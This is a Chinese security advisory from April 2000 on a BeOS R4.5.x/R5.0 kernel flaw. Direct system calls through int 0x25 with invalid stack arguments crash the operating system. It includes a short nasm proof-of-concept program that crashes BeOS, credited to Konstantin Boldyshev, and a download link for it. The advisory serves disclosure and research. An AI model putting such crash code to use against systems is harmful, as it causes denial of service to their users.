BeOS 系统调用问题
发布日期:2000-04-11
更新日期:2000-04-11
受影响系统:BeOS R4.5.x、BeOS R5.0
描述:
如果通过int 0x25中断直接进行内核调用,而不是通过
libroot.so动态链接库提供的库函数间接进行内核系统
调用,此时绝大多数系统调用对于无效的参数/堆栈没
有做容错处理,进而导致BeOS崩溃。尽管R5.0版之前就
发现了这个问题,但R5.0版本并没有修正这个问题。至
少在所有的R4.5.x版本中存在同样的问题。
<* 来源:Konstantin Boldyshev < mailto: konst@linuxassembly.org > *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
这里有一个简单的汇编程序可以杀死BeOS(nasm):
--------------------------------------------------------------------
;Copyright (c) 2000 Konstantin Boldyshev <konst@linuxassembly.org>
;
;This was an attempt to write string to stdout, but..
;BeOS dies silently on such a program -- kernel bug
;
;to compile:
;
;nasm -f elf bedie.asm
;ld -s -o bedie bedie.o
section .text
global _start
_start:
push dword msglen ;message length
push dword msg ;message
push dword 1 ;stdout
mov eax,0x03 ;sys_write
int 0x25
mov eax,0x3f ;sys_exit
int 0x25
msg db "Suicide",0xa
msglen equ $ - msg
--------------------------------------------------------------------
可以从这里下载二进制可执行文件以及源代码:
http://linuxassembly.org/BeDie.tgz
建议:
暂时没有补丁可用,这是内核的问题。
浏览次数:6588
严重程度:0(网友投票)